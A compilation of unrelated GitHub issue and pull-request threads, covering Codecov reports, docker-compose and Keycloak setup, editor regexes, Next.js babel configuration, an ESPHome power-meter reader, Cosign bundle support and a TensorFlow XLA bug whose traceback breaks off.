Coverage Δ

src/watch.jl
8.00% <0.00%> (ø)

src/JET.jl
48.30% <13.33%> (-1.27%)
:arrow_down:

src/abstractinterpreterinterface.jl
93.33% <100.00%> (ø)

src/print.jl
79.79% <100.00%> (+1.58%)
:arrow_up:

src/abstractinterpretation.jl
96.15% <0.00%> (-0.97%)
:arrow_down:

src/reports.jl
87.78% <0.00%> (+0.33%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0f050a9...0744f73. Read the comment docs.

Codecov Report

Merging #84 (0744f73) into master (0f050a9) will decrease coverage by 0.05%.
The diff coverage is 28.57%.

@@            Coverage Diff             @@
##           master      #84      +/-   ##
==========================================
- Coverage   83.52%   83.47%   -0.06%
==========================================
  Files          11       11
  Lines         977      974       -3
==========================================
- Hits          816      813       -3
  Misses        161      161

Impacted Files
Coverage Δ

src/watch.jl
8.00% <0.00%> (ø)

src/JET.jl
48.30% <13.33%> (-1.27%)
:arrow_down:

src/abstractinterpreterinterface.jl
93.33% <100.00%> (ø)

src/print.jl
79.79% <100.00%> (+1.58%)
:arrow_up:

src/abstractinterpretation.jl
96.15% <0.00%> (-0.97%)
:arrow_down:

src/reports.jl
87.78% <0.00%> (+0.33%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0f050a9...0744f73. Read the comment docs.


Localnet docker compose: enable PubSub on IPFS node, open Lotus RPC port

make localnet is a helpful command that starts the whole Powergate suite, including Lotus and IPFS. Yet, IPFS node does not have pubsub enabled, which is quite useful to have, and Lotus have its RPC port blocked.
This pull request enables pubsub for IPFS, and opens Lotus RPC port. With the latter, one could run lotus cli against the node started by make localnet.

Lotus doesn't have its RPC blocked, if that was the case the lotus-devnet would be totally worthless :P
The port 7777 you see in the port-mapping is the RPC. Notice how Powergate is configured as POWD_LOTUSHOST=/dns4/lotus/tcp/7777. If you want 1234 (or any other) you can just edit the port-mapping in the compose file.
The make localnet is meant for some minimal configuration to run tests locally with default values. I'm not sure if everyone would be interested in having this feature enabled, or why not another experimental one, or CORS setup. That was my logic behind using the default which is some unopinionated configuration for things.

ORLY? Lotus API Documentation states 1234 is JSON RPC indeed.
CORS might be too much, yet pubsub is pretty common these days in the wild.

ORLY? Lotus API Documentation states 1234 is JSON RPC indeed.

Notice that make localnet runs textile/lotus-devnet, which is a Lotus node with a mocked sector-builder. The listening port of the API is 7777 by design because I preferred not to collide to another possibly running Lotus node, but all that is easy to change if it's a problem (e.g: edit the docker-compose).

CORS might be too much, yet pubsub is pretty common these days in the wild.
It would be fine to just locally edit docker-compose if the setup is totally isolated, and does not mess with default IPFS/Lotus ports.

Agree, but why make that assumption? Changing the default docker-compose should make sense in the general case. Of course, anyone can tune their configs in whatever context make sense for them.


keycloak improvements

keycloak is super super slow on Apple Silicon, to the point where it gums up the whole startup process for Chorus.  Setting the right platform and building the keycloak image does the trick.  This is the recommended method anyway, so let's do it all the time, but make sure we pass in the correct platform string to docker-compose.yml via environment variables, then set an arg for docker build for the admin password too, and then pass that down through the use of ARG and ENV in the Dockerfile.  This way the admin password for keycloak can be changed at the top level without much fuss.

@depahelix2021 @risdenk would love another set of eyes...   i think i threaded the needle of simplicity, http access to keycloak, and FAST startup wiht our preconfigured realms.

Looks good, ship it!


It seems that frozen modules are being used, which may

Encountered a problem when using Python 3.12, problem one is causing an exception:'ImageDraw' object has no attribute 'textsize'，I attempted to downgrade PIL to version 9.5 and resolved the issue. However, when used in 'jupyter', it will continue to occupy the process and cannot calculate the result, and even when executed directly in '. py', the result cannot be obtained.I noticed a warning in the background while running in 'jupyter',It seems that frozen modules are being used, which may.I'm not sure if it's related to this issue.

Give it up. The author has abandoned the project


[Task][Go SDK]: Add output coders to expansion request

What needs to happen?
Expansion request has additional field for output coder request which is used to tell the expansion service to use that coder for output produced. Currently, we marshal the coder for output types one after the expanded field is populated.
To make these coders accessible to populate the OutputCoderRequests in expansion request, we need these coders to be present in the pipeline components.
Issue Priority
Priority: 1
Issue Component
Component: sdk-go

.take-issue

.remove-labels 'awaiting triage'

.remove-labels 'P1'


decreaseIndentPattern does not use \b before end-like keywords

'decreaseIndentPattern': "\\s*(end|endfunction|endcase|endmodule|endclass|endtask|endgenerate|endinterface|join|join_any|join_none|endsequence|endproperty|endgroup|endclocking|endprogram|endpackage|endconfig|endtable|endprimitive)\\b"
also matches variable_names_ending_with_end like that one, causing an unwanted decrease in indent whenever such a variable is used.
This should probably be corrected to:
"\\s*\\b(end|endfunction|endcase|endmodule|endclass|endtask|endgenerate|endinterface|join|join_any|join_none|endsequence|endproperty|endgroup|endclocking|endprogram|endpackage|endconfig|endtable|endprimitive)\\b"
Note that the grammar also includes this \b word boundary before the end-like keywords

That should do it. Try updating and giving it a go @KoenGoe

Perfect, thank you!


externalImages.destination doesn't work when externalImages.sources are absolute paths

If you pass absolute paths to externalImages.sources, the destination seems to be completely ignored and the files are overwritten in place.

Closing this as I haven't heard back. Let me know if it's still and issue and if you were able to figure anything else out.


Important checkboxes

Description
Current

There are no checkboxes in issue template
When contributor (GSSOC'23) raise a new issue then many time they didn't mention GSSOC label
It is also tough for project admin to label the issues

Solution

I will add the checkboxes so that its easy for both contributor and project admin to label the issues

Screenshots

Additional information
No response
Do you want to work on this issue?

[X] I want to work on this issue.

Hey the label thing is already automated through Github actions


Intellectual property/ copyright

Example terms and use language: https://ratearesidency.com/terms-and-conditions/

My buddy also said that we should look into copyleft, a play off of copyright (https://en.wikipedia.org/wiki/Copyleft). It looks a lot like what we are looking for; we would now need to find a copyleft license with the correct language/similar language for our purposes.

FYI, we advertise Weave as open source in the Roadmap section, and we're getting a fair number of website hits from around the world and people emailing to ask about expansion of the website. I think figuring out the intellectual property stuff is a high priority for this month.


Cannot convert a Symbol value to a string with @emotion/babel-plugin and next.js

Error: Cannot convert a Symbol value to a string when using @emotion/babel-plugin with next.js

[x] The issue is present in the latest release.
[x] I have searched the issues of this repository and believe that this is not a duplicate.

Current Behavior 😯
Using components as selectors thrown an error when compiling server-side.
In client-side application it works as expected
Expected Behavior 🤔
No errors are thrown and the "component as selector" works

Steps to Reproduce 🕹
Server-side application doesn't works https://codesandbox.io/s/next-material-emotion-ojfum
Client-side application works https://codesandbox.io/s/cra-craco-mui-styled-8ji8i
Context 🔦
I would like to use component as selector

Your Environment 🌎

`npx @mui/envinfo`
  System:
    OS: Linux 5.4 Debian GNU/Linux 10 (buster) 10 (buster)
  Binaries:
    Node: 14.17.6 - ~/.nvm/versions/node/v14.17.6/bin/node
    Yarn: 1.22.11 - ~/.nvm/versions/node/v14.17.6/bin/yarn
    npm: 6.14.15 - ~/.nvm/versions/node/v14.17.6/bin/npm
  Browsers:
    Chrome: 94.0.4606.81 (Official Build) (x86_64)
    Firefox: Not Found
  npmPackages:
    @emotion/react: 11.4.1 => 11.4.1
    @emotion/styled: 11.3.0 => 11.3.0
    @mui/core:  5.0.0-alpha.50
    @mui/material: 5.0.3 => 5.0.3
    @mui/private-theming:  5.0.1
    @mui/styled-engine:  5.0.1
    @mui/system:  5.0.3
    @mui/types:  7.0.0
    @mui/utils:  5.0.1
    @types/react:  17.0.29
    react: 17.0.2 => 17.0.2
    react-dom: 17.0.2 => 17.0.2

Here an example on next.js with @storybook/theming and importMap config. It works as expected
https://codesandbox.io/s/next-storybook-theming-emotion-c3yvc

I'm still not able to use a component as a selector on a NextJS project. Besides installing @emotion/babel-plugin, exactly what changes should I perform to my babel config?

@MariaSolOs you need to use<EMAIL_ADDRESS>with babel config of this comment

@bordeo Thanks! For the babel config, should that configuration be part of the plugins field or where exactly should it be included? Currently my babel.config.js file looks like:
module.exports = {
    presets: ['next/babel'],
    overrides: [
        {
            include: ['./node_modules'],
            plugins: [
                [
                    'babel-plugin-transform-import-ignore', {
                        patterns: ['.css']
                    }
                ]
            ]
        }
    ]
}

@MariaSolOs you can use plugins options alongside your options. You can find an example here.
Your code will looks like
module.exports = {
  presets: ["next/babel"],
  overrides: [
        {
            include: ['./node_modules'],
            plugins: [
                [
                    'babel-plugin-transform-import-ignore', {
                        patterns: ['.css']
                    }
                ]
            ]
        }
    ],
  plugins: [
    [
      "@emotion",
      {
        importMap: {
          "@mui/system": {
            styled: {
              canonicalImport: ["@emotion/styled", "default"],
              styledBaseImport: ["@mui/system", "styled"]
            }
          },
          "@mui/material/styles": {
            styled: {
              canonicalImport: ["@emotion/styled", "default"],
              styledBaseImport: ["@mui/material/styles", "styled"]
            }
          }
        }
      }
    ]
  ]
};

Yayy finally works :) Thank you @bordeo!

@mnajdova @Andarist I would like to re-open this issue because it doesn't work when the parent's css rule has no other rules.
eg:
const Parent = styled("div")`
  /* color: red; */ /* <----- The problem is this. uncomment and it works */
  ${Child} {
    color: yellow;
  }
`;

Example https://codesandbox.io/s/next-material-emotion-broken-again-3u4d4

@bordeo I've prepared a fix here: https://github.com/mui/material-ui/pull/31024

@mnajdova any update on PR prepared from @Andarist ?

@bordeo I've just merged it. It will be available in today's release.


Etterna doesn't run at 144Hz when a 60Hz screen is connected

Describe the bug
The game will always run at 60Hz when a 60Hz monitor is connected, even though the game is played on the 144Hz screen and the refresh rate in the settings is set to 144Hz.
To Reproduce
Steps to reproduce the behavior:

Connect a 144Hz display
Connect a 60Hz display
Set refresh rate to 144Hz in the settings
The game still runs at 60Hz

Expected behavior
The game running at 144Hz.
Desktop (please complete the following information):

OS: Arch Linux 64-bit
Kernel version 5.11.13
Etterna v0.70.3

Additional context
If I disconnect the 60Hz monitor, the game will run at 144Hz as expected.
This issue never happened to me in Windows.

I assume this is a valid issue, but it can be mitigated by running the game in exclusive fullscreen with your specific monitor targeted. Depending on your window manager, this may or may not be a viable solution (in my case, it isnt).

At least for me, when using this I get the normal 1000fps cap and can run the game at 144Hz.

I run the game in exclusive fullscreen on the right monitor just like in your screenshot and it still doesn't work.
Running the game with env vblank_mode=0 ./Etterna had no effect unfortunately.

I had this issue too when using Arch Linux. The solution for me was to change the monitor sync option to my 144hz monitor in nvidia-settings.

The sync option of the monitor in nvidia-settings is set to 144Hz.

I have found out the cause of the problem.
Turns out the compositor of KDE Plasma was limiting the refresh rate of everything, so I disabled it in the system settings and now it runs perfectly fine at 144hz.


fix version selector in v1.10

fix version selector in v1.10
remove v1.6 support from version selector, as it is depreciated

/assign @bradtopol

@harshvkarn Thanks for the update.
/lgtm

@Bradamant3 Not sure if you are the maintainer of release-1.10 branch. Please take a look.

/approve
/lgtm

/hold

/hold cancel


feat: Add role prop to Text component

Summary
As pointed out by @necolas on https://github.com/facebook/react-native/issues/34424#issuecomment-1261482517 we forgot we add the role prop mapping to the Text component. This PR adds a new role prop to Text, mapping the web role values to the already existing accessibilityRole prop and moves the roleToAccessibilityRoleMapping to a common file that can be imported by both the Text and View components as requested on https://github.com/facebook/react-native/issues/34424. This PR also updates the RNTester AcessebilityExample to include a test using this new prop.
Changelog
[General] [Added] - Add role prop to Text component
Test Plan

Open the RNTester app and navigate to the Accessibility Example page
Test the role prop through the Text with role = heading section

@jacdebug would you mind rereviwing this PR?


Not receiving sensor updates after plugging into power meter.

Hello!
I found this interesting project in a swedish facebook group. Immediately got a RJ12 cable and found a D1 mini lying around and soldered it together.
After connecting the D1 mini to my EON powermeter i immediately get a sensor reading but after that no more updates. The only sensor that updates is the wifi sensor. I used the EON elna before so i know that the HAN port is open and working.
Do you have any idea why it is not working for me? Attaching some info. Tell me if you need anything else.
Thanks!
Regards / med vänlig hälsning
Jonatan
logs_p1mini_logs.txt

So are you getting a single reading from the meter on startup? 13.6 A sounds like a lot of current, does that seem correct?
What kind of meter do you have? EON seems to be using Landis+Gyr E360 a lot, so is that it?
I would suggest double checking all the connections to make dure they are correct. I guess ground and 5V are correct or you wouldn't get anything, but check the other connections.
It could also be interesting to test in the RTS always high mode: https://github.com/Beaky2000/esphome-p1mini/blob/main/NO-RTS.md

Yes that is correct, 1 reading after plugging it in. I agree that it is a bit high but momentarily that could be correct.
Yes that is correct, Landis+Gyr E360.
I have double checked the connections and they seem correct to me. However my cable is about 15-20cm longer than in your pictues. Could that be a problem?
I tried the RTS thing before and it didn't work. Just tried it for the second time but no change. Now after uploading new file all sensors are unknown instead. So it does not seem to recieve any data.

Okay so I cut down the cable and resoldered everything but no difference. Guess next step is to try new D1 mini?

I am pretty sure that no data at all is being received on the serial line. I am considering adding some log output in cases like this. Not that it would solve anything, but it might help with debugging.
There could be several reasons no data is received and ideally, the first step would be to verify that the meter is actually outputting something. I would have measured the output with an oscilloscope to see if there is any activity, but I realize that most people don't have access to one...
Since the output is open drain, you could diconnect the TX signal from the D1mini and connect an LED in series with a resistor (say 1.5k to 3k) from 5V to TX. If the LED does not light at all there is nothing being sent on the output!
You could double check that the port is still active. My (Sagemcom) meter has an indicator in the display but I am not sure if the E360 has something similar? If not check with EON I guess.
Also, it seems like "older" E360 meters have a bug which causes them to stop sending on the port in some cases and only start working again after a complete power cycle. If this turns out to be the case I guess see if EON can update the firmware in the meter.
But it could also be a problem with the D1mini, so trying a different one is not a bad idea. In case the problem is with the internal pullup resistor, you could try connecting a resistor between RX and 3.3V on the D1mini (1k - 5k should be fine).

Thank you for your suggestions! I did some testing that could hopefully help narrow it down. Im reading on this swedish forum: https://www.byggahus.se/forum/threads/elmaetare-h1-port-p1-port-han-port-manga-namn-verkar-florera.384608/page-36
That it could be a power issue with the D1. So i connected the USB on D1 mini to my laptop and reset but that didnt seem to work.
Then I tried measuring with my multimeter between RX and GND on the D1 and that seems to give me a constant voltage of 0,257volts and suddenly I seemed to get a reading! But unfortunately no more than one reading. According to that forum the voltage should come every 10 seconds but i am getting a constant voltage, that might be weird? But atleast the output is giving something and that is good i guess.
I have attached logs hopefully they can help you narrow it down. Thanks for your patience and help :)
logs_p1mini_logs.txt

That is both weird and interesting... One thing you could play about with is to remove the internal pullup resistor on RX (change INPUT_PULLUP to INPUT in the yaml) and try an external pullup resistors between 3.3V and RX. Maybe try values like 1k, 5k, 10k, etc and see if anything works...
Also, it wouldn't hurt to try a different D1mini, in case there is some issue with the one you have.

Hello again. As you probably suspected I gave up on getting this to work. I ordered a SliemmLezer+, plugged it in today and that was working perfectly. But thank you, I appreciate your support :)


Error installing <IP_ADDRESS> plugin on ES 5.3

Hi,
While trying to install the plugin it is throwing the following error,
./elasticsearch-plugin install http://xbib.org/repository/org/xbib/elasticsearch/plugin/elasticsearch-langdetect/<IP_ADDRESS>/elasticsearch-langdetect-<IP_ADDRESS>-plugin.zip
-> Downloading http://xbib.org/repository/org/xbib/elasticsearch/plugin/elasticsearch-langdetect/<IP_ADDRESS>/elasticsearch-langdetect-<IP_ADDRESS>-plugin.zip
Exception in thread "main" java.io.IOException: Server returned HTTP response code: 503 for URL: http://xbib.org/repository/org/xbib/elasticsearch/plugin/elasticsearch-langdetect/<IP_ADDRESS>/elasticsearch-langdetect-<IP_ADDRESS>-plugin.zip
at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
at org.elasticsearch.plugins.PluginCli.main(PluginCli.java:47)

Caused by: java.io.IOException: Server returned HTTP response code: 503 for URL: http://xbib.org/repository/org/xbib/elasticsearch/plugin/elasticsearch-langdetect/<IP_ADDRESS>/elasticsearch-langdetect-<IP_ADDRESS>-plugin.zip
I have tried with <IP_ADDRESS> plugin and it gives me the same error.
Could you please help with the issue?

Server xbib.org is up and well, no errors.
Try Maven Central mirror:
http://repo1.maven.org/maven2/org/xbib/elasticsearch/plugin/elasticsearch-langdetect/<IP_ADDRESS>/elasticsearch-langdetect-<IP_ADDRESS>-plugin.zip

Thanks a lot.
The Maven Central mirror worked!


(TEST) test visitor/vip/masterclasses form options

related https://github.com/ecommerceberlin/ecommerceberlin.com/issues/401
request a meeting BUTTON
/exhibitors/3lpeu?meet (promoninja links)
/exhibitors/smarketerde?vipcode=66a741738f93e193997d5478013ba16419d20893
/partners/vip_haendler
/visit - WidgetVisitorWithVip
/vip - WidgetRegForm
company profile - WidgetVisitorNonVip
masterclasses
visitor profile update

@KarolinaTEH shall i close it?

yes, all works


Ensembl vep update

TODO:

[x] Update vep script calls for new version
[x] Remove dbNSFP and dbscSNV plugin functions from effects.py
[x] (optional) Update dbNSFP and other refs (chapmanb/cloudbiolinux#246)
[x] add vcfanno config files for dbscSNV and dbNSFP
[x] update genome resource files to use the latest ensembl release
[x] update vep conda requirement in cloudbiolinux
[ ] ...

Brad, if you have any more todo's please add then to the list.
Cheers
M

I'm fairly sure the vcfanno configs are correct, but perhaps the ops section might benefit from a second opinion.
Both files should be usable out of the box by specifying  vcfanno: [gemini, dbsnfp, dbscsnv in the config file.

Hi Brad,
Could you re-trigger the last travis build for the last commit? something seems to have gone wrong there.
Thanks!
M

Matthias;
Sorry about the issue, this is an unrelated problem due to changes in our CWL pipeline that are currently on going. If you want to avoid the error you can rebase against the current master (git pull --rebase upstream master) to disable this test. Hope this gets it cleanly running through the tests for you.

Hi Brad,
Are you still interested in this? Too bad the changes didn't make it into the latest release, but I'm hoping for the next.
Cheers
M

Matthias;
Thanks for following up. I definitely want to include this and was aiming for a post 1.0.3 release since I didn't want another round of testing before that release. If it's good to go now I can merge and we can start testing now. Thanks for the patience.

Hi Brad,
Thanks for replying. I've ran some tests locally, and haven't found any issues yet, so I think we're good to go here. I'll open another PR later this month if the new ensembl release is out. v89 will include a new version of COSMIC and GnomAD, so I think it might be worthwhile.
Cheers!
M

Matthias;
Sounds great.  Would you be able to prepare a clean PR with only the bcbio/variation/effects.py and config changes? If it's a pain let me know and I can try to incorporate but would like to give you direct credit for all your work in the git history. Thanks again.

Hi Brad,
No problem, you can expect a new PR shortly.
Cheers
M


Add Jest to web-frontend

Context
Add jest to web front end to be able to conduct unit tests
Objective is to standardize testing in order to have an optimized q/a  flow

@pivilartisant Please specify for which unit tests? What is the need?  I put should-have but to be confirmed.

As of right now, there is no precise need, the objective is to install and set it up so when we want to modify a feature we may want to write a test to make sure that these modifications don't introduce a regression somewhere else

We are closing this, after syncing with @mazmassa  it was determined that it was not necessary


Remove problematic Terraform attributes

This change removes the problematic Terraform attributes expires_in and expires_at_time. These are problematic because:

expires_in/expiresIn disappears from the domain or database custom resource spec when converted by the NuoDB Operator to expiresAtTime, which causes Terraform to generate errors about inconsistent state.
expires_at_time/expiresAtTime is normalized by the REST service, which accepts more relaxed formats like date-only or date-time without timezone. This causes the user input to differ from the computed value, which generates errors from Terraform about inconsistent state.
Once expires_at_time is specified, it is impossible to remove it due to the UseStateForUnknown plan modifier.

This change also adds logging about polling check being skipped if timeout is 0.

Why are we setting it as UseStateForUnknown? That modifier makes sense for database attributes that are inherited from the project.

The UseStateForUnknown plan modifier is used for all optional attributes, to avoid unnecessary updates when the server generates a value. The server can generate a value for expiresAtTime if there is a policy that limits how long a project or database should be consuming resources, which there is in our AWS DBaaS instance.

We can solve the equality issue by using the proper type for date-time: not StringType but a custom type like https://github.com/hashicorp/terraform-plugin-framework-timetypes or our own type (custom types seem pretty easy to implement).

We use the oapi-codegen to generate the model structs. There is an OpenAPI extension that you can use to tell oapi-codegen what type to generate for a particular field, but I don't see why that would help. The model struct should remain serializable to JSON since that is what is used to communicate with the server.
If you are proposing doing the normalization of the date-time / date value on the client side, that can be done without a custom type. I think that can be done with a custom plan modifier, but I do not want to go down the rabbithole of inventing new plan modifiers just to support an attribute that is marginally useful.


MissingPluginException(No implementation found for method pickImage on channel image_picker_web)

this exception happened to me after ,i deploy my app to server  do u have guys any idea how to solve that

Please provide a minimal reproducible code sample of your issue. Does it happen only when your app is deployed or also when you run the app locally ?

Without more information I'm closing this issue.


Support the protobuf bundle format in Cosign

Background
Sigstore created a common format in sigstore/protobuf-specs for the output from Sigstore clients. sigstore-python, sigstore-java and sigstore-js currently support the bundle format. Golang currently does not support the bundle: sigstore-go is under active development, and Cosign has defined its own format.
Requirements

[ ] [P0] Output bundle for cosign sign-blob or cosign attest-blob
[ ] [P0] Read bundle for cosign verify-blob or cosign verify-blob-attestation
[ ] [P0] Verify conformance with other clients

Secondary goals

[ ] [P1] Persist bundle in OCI image manifest for cosign sign or cosign attest
[ ] [P1] Read bundle from OCI image manifest for cosign verify or cosign verify-attestation

Nice to haves

[ ] [P2] Separation of utilities in a dedicated package to make it easy to move code to sigstore-go
[ ] [P2] Support for uploading a bundle to OCI with cosign attach

Resources

Bundle specification
Rekor output to protobuf library

Justification for sign-blob being a P0 and sign being a P1 is that OCI handles storage already, so it's less critical to have a new format.

@haydentherapper I'm interested in working on this. Can we move this forward?
If you don't have any other blockers, I can open a pull request after tweaking the patch https://github.com/sigstore/cosign/commit/d652a110510e7f5c12109a9385acc3620b48847b
A summary of this patch is:

Introduce pkg/cosign/bundle.SignedEntity instead of cosign.LocalSignedPayload.

In order to cut out a dedicated package to sigstore-go that will generate a Sigstore bundle in the future, I thought we would need a struct that satisfies an interface like sigstore-go/pkg/verify.SignedEntity.
A side effect of introducing this is that we can refactor to use this entity for creating a Cosign bundle.

Introduce pkg/bundle package.

This package is intended to be moved to sigstore-go in the future and accepts the SignedEntity interface as an argument to Build method.
This interface is almost the same as sigstore-go/pkg/verify.SignedEntity, but has been copied to avoid adding sigstore-go dependencies on Cosign. We can also add and replace the sigstore-go dependencies if you wish.

Add --sigstore-bundle flag to sign-blob command.

This patch is a work in progress, and if you agree with the direction, I could add support for attest-blob and verify, refactor redundant implementations, add tests, etc.
Having said that, I'm concerned about the following points at the moment:

Handling of the root certificate

As I was proceeding with this implementation, I noticed https://github.com/sigstore/cosign/pull/3138#discussion_r1275534788. I did some research, but I couldn't figure out a pattern that would actually return anything other than a leaf certificate.

Public key hint

In the current implementation, the Hint field is always empty when returning a public key. When I looked at the implementations of sigstore-js, sigstore-python, and sigstore-java, they didn't seem to generate hints either. Is this okay?
According to the spec, it says "The format of the hint must be agreed upon out of band by the signer and the verifiers" but it is my understanding that there is no consensus across the Sigstore ecosystem yet.

Package interface compatibility

I ended up choosing an interface centered around sigstore-go/pkg/verify.SignedEntity, but I'm not sure if this is appropriate. It may be arguable to add this as a public interface if there is not already enough discussion to design a suitable interface.

Hey @wata727, sorry for the delay, I will reply to this next week! I do have lots of thoughts on this and really appreciate you taking a look!

@wata727 are you still working on this? Do you want to go ahead and submit your patch as a PR so it can be reviewed?

This interface is almost the same as sigstore-go/pkg/verify.SignedEntity, but has been copied to avoid adding sigstore-go dependencies on Cosign

My understanding is eventually cosign will leverage sigstore-go more and more, so it should be fine to add as a dependency.

My original motivation was solved by GitHub introducing Artifact Attestations, so to be honest I don't have any motivation to move forward with this right now. So if you have your own plans, feel free to reject my patch.
However, if you think my patch could be useful for the future of Cosign, I'd be happy to submit a PR.

One other previous attempt: https://github.com/sigstore/cosign/pull/3138

@cmurphy I'm thinking about making a pull request for:

[P0] Output bundle for cosign sign-blob or cosign attest-blob

but I wanted to check with you first to see if you've already started on that. If not, I could break that item out into a separate issue and assign that to myself? Otherwise, if I should just be patient, that's fine too.

@steiza I have not started on this, go for it

FYI while https://github.com/sigstore/cosign/pull/3752 is waiting for reviews I am also starting to work on:

[P0] Read bundle for cosign verify-blob or cosign verify-blob-attestation

It's quite a bit harder! It appears that some of the arguments to cosign verify-blob like --certificate-identity, --certificate-oidc-issuer, --use-signed-timestamps, and several others, aren't actually wired up to the command.
Additionally, I think we should add something like --trusted-root to make verification more user friendly, instead of requiring new bundle format users to specify several flags with trust material. Trusted roots are friendly to folks who may have private deployments, but we might also support TUF servers to make verification even more user friendly.

@steiza https://github.com/sigstore/cosign/issues/3700 for tracking --trusted-root.

For identity flags, are they under https://github.com/sigstore/cosign/blob/main/cmd/cosign/cli/verify.go#L113?

Okay, while waiting for reviews on #3796, I started working on conformance testing. For the most part it went smoothly, but there's one last test failure that might be a bit tricky to resolve.
I was assuming that for conformance testing, verify-bundle and sign-bundle would make use of the new codepaths that implement --new-bundle-format, and verify and sign would use the previous / existing cosign codepaths.
However, there are conformance tests that use --trusted-path with verify, which we did not implement support for in #3796. I think there's a couple of options here:

Go back and implement --trusted-path support in cosign, even when you aren't specifying --new-bundle-format

Maybe we want to do this anyways? Do we want this support for the older codepaths of cosign?

Use the sigstore-go trick of taking the conformance materials provided by verify and wrap them in a bundle, and then always call cosign with --new-bundle-format when doing conformance tests

This might make sense if we're moving to protobuf bundles sooner than later, and don't need conformance testing for the existing, older codepaths of cosign

... other ideas here!

Go back and implement --trusted-root support in cosign, even when you aren't specifying --new-bundle-format

I know we've agreed that we should tread lightly to avoid regression in cosign's existing verification logic as we add bundle support, but I do think it would be smart to begin adding support for the TrustedRoot for existing verification code paths with a plan to deprecate the existing TUF custom metadata format. We can't upgrade to go-tuf v2 until we do that, as go-tuf v2 is more opinionated about following spec and disallows iterating over targets as we are currently doing.

I am very supportive of adding support for the trusted root format in Cosign. The only regression to consider is for private instances that have deployed their own TUF repos using the custom metadata for target selection. We can make any changes to the internals of Cosign for selection of which trusted root, eg changing fulcio root selection to use the TrustedRoot struct.
Adding support for specifying a trusted root via CLI should be straightforward. For fetching roots via TUF, I'd recommend we initialize two TUF clients, the new and old one, and merge targets fetched from the old TUF client (which would handle private deployments with the custom metadata) into the TrustedRoot struct. Then as part of Cosign V3, we'll drop support for the old TUF client.
How does that sound?


tf.debugging.enable_check_numerics() doesn't work with XLA JIT compilation

Click to expand!
Issue Type
Bug
Have you reproduced the bug with TF nightly?
Yes
Source
binary
Tensorflow Version
2.11.0
Custom Code
No
OS Platform and Distribution
Linux Ubuntu 20.04
Mobile device
No response
Python version
3.8.10
Bazel version
No response
GCC/Compiler version
No response
CUDA/cuDNN version
CUDA=11.7 CUDNN=<IP_ADDRESS>-1
GPU model and memory
Tesla T4
Current Behaviour?
Training fails on following error when `tf.debugging.enable_check_numerics()` is enabled together with JIT compilation of model.

I was able to reproduce this with TF 2.9.2, 2.11.0 and current nightly build, on Tesla T4 and GeForce GTX 1080 Ti.

InvalidArgumentError: Graph execution error:

Detected unsupported operations when trying to compile graph __inference_run_step_1284[] on XLA_GPU_JIT: DebugNumericSummaryV2 (No registered 'DebugNumericSummaryV2' OpKernel for XLA_GPU_JIT devices compatible with node {{node DebugNumericSummaryV2}}){{node DebugNumericSummaryV2}}

### Standalone code to reproduce the issue

```shell
import numpy as np
import tensorflow as tf
from tensorflow import keras
from tensorflow.keras import layers

tf.debugging.enable_check_numerics()

# https://keras.io/examples/vision/mnist_convnet/

num_classes = 10
input_shape = (28, 28, 1)
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
x_train = x_train.astype("float32") / 255
x_test = x_test.astype("float32") / 255
x_train = np.expand_dims(x_train, -1)
x_test = np.expand_dims(x_test, -1)
y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)

model = keras.Sequential(
    [
        keras.Input(shape=input_shape),
        layers.Conv2D(32, kernel_size=(3, 3), activation="relu"),
        layers.MaxPooling2D(pool_size=(2, 2)),
        layers.Conv2D(64, kernel_size=(3, 3), activation="relu"),
        layers.MaxPooling2D(pool_size=(2, 2)),
        layers.Flatten(),
        layers.Dropout(0.5),
        layers.Dense(num_classes, activation="softmax"),
    ]
)

batch_size = 128
epochs = 15
model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"], jit_compile=True)
model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)

Relevant log output
Epoch 1/15
---------------------------------------------------------------------------
InvalidArgumentError                      Traceback (most recent call last)
<ipython-input-5-1059bcc7b5d0> in <module>
     26
     27 model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"], jit_compile=True)
---> 28 model.fit(x_train, y_train, batch_size=batch_size, epochs=epochs, validation_split=0.1)

1 frames
/usr/local/lib/python3.8/dist-packages/tensorflow/python/eager/execute.py in quick_execute(op_name, num_outputs, inputs, attrs, ctx, name)
     52   try:
     53     ctx.ensure_initialized()
---> 54     tensors = pywrap_tfe.TFE_Py_Execute(ctx._handle, device_name, op_name,
     55                                         inputs, attrs, num_outputs)
     56   except core._NotOkStatusException as e:

InvalidArgumentError: Graph execution error:

Detected unsupported operations when trying to compile graph __inference_run_step_1284[] on XLA_GPU_JIT: DebugNumericSummaryV2 (No registered 'DebugNumericSummaryV2' OpKernel for XLA_GPU_JIT devices compatible with node {{node DebugNumericSummaryV2}}){{node DebugNumericSummaryV2}}
The op is created at:
File "/usr/lib/python3.8/runpy.py", line 194, in _run_module_as_main
  return _run_code(code, main_globals, None,
File "/usr/lib/python3.8/runpy.py", line 87, in _run_code
  exec(code, run_globals)
File "/usr/local/lib/python3.8/dist-packages/ipykernel_launcher.py", line 16, in <module>
  app.launch_new_instance()
File "/usr/local/lib/python3.8/dist-packages/traitlets/config/application.py", line 992, in launch_instance
  app.start()
File "/usr/local/lib/python3.8/dist-packages/ipykernel/kernelapp.py", line 612, in start
  self.io_loop.start()
File "/usr/local/lib/python3.8/dist-packages/tornado/platform/asyncio.py", line 149, in start
  self.asyncio_loop.run_forever()
File "/usr/lib/python3.8/asyncio/base_events.py", line 570, in run_forever
  self._run_once()
File "/usr/lib/python3.8/asyncio/base_events.py", line 1859, in _run_once
  handle._run()
File "/usr/lib/python3.8/asyncio/events.py", line 81, in _run
  self._context.run(self._callback, *self._args)
File "/usr/local/lib/python3.8/dist-packages/tornado/ioloop.py", line 690, in <lambda>
  lambda f: self._run_callback(functools.partial(callback, future))
File "/usr/local/lib/python3.8/dist-packages/tornado/ioloop.py", line 743, in _run_callback
  ret = callback()
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 787, in inner
  self.run()
File "/usr/local/lib/python3.8/dist-packages/tornado/gen.py", line 748, in run
  yielded = self.gen.send(value)
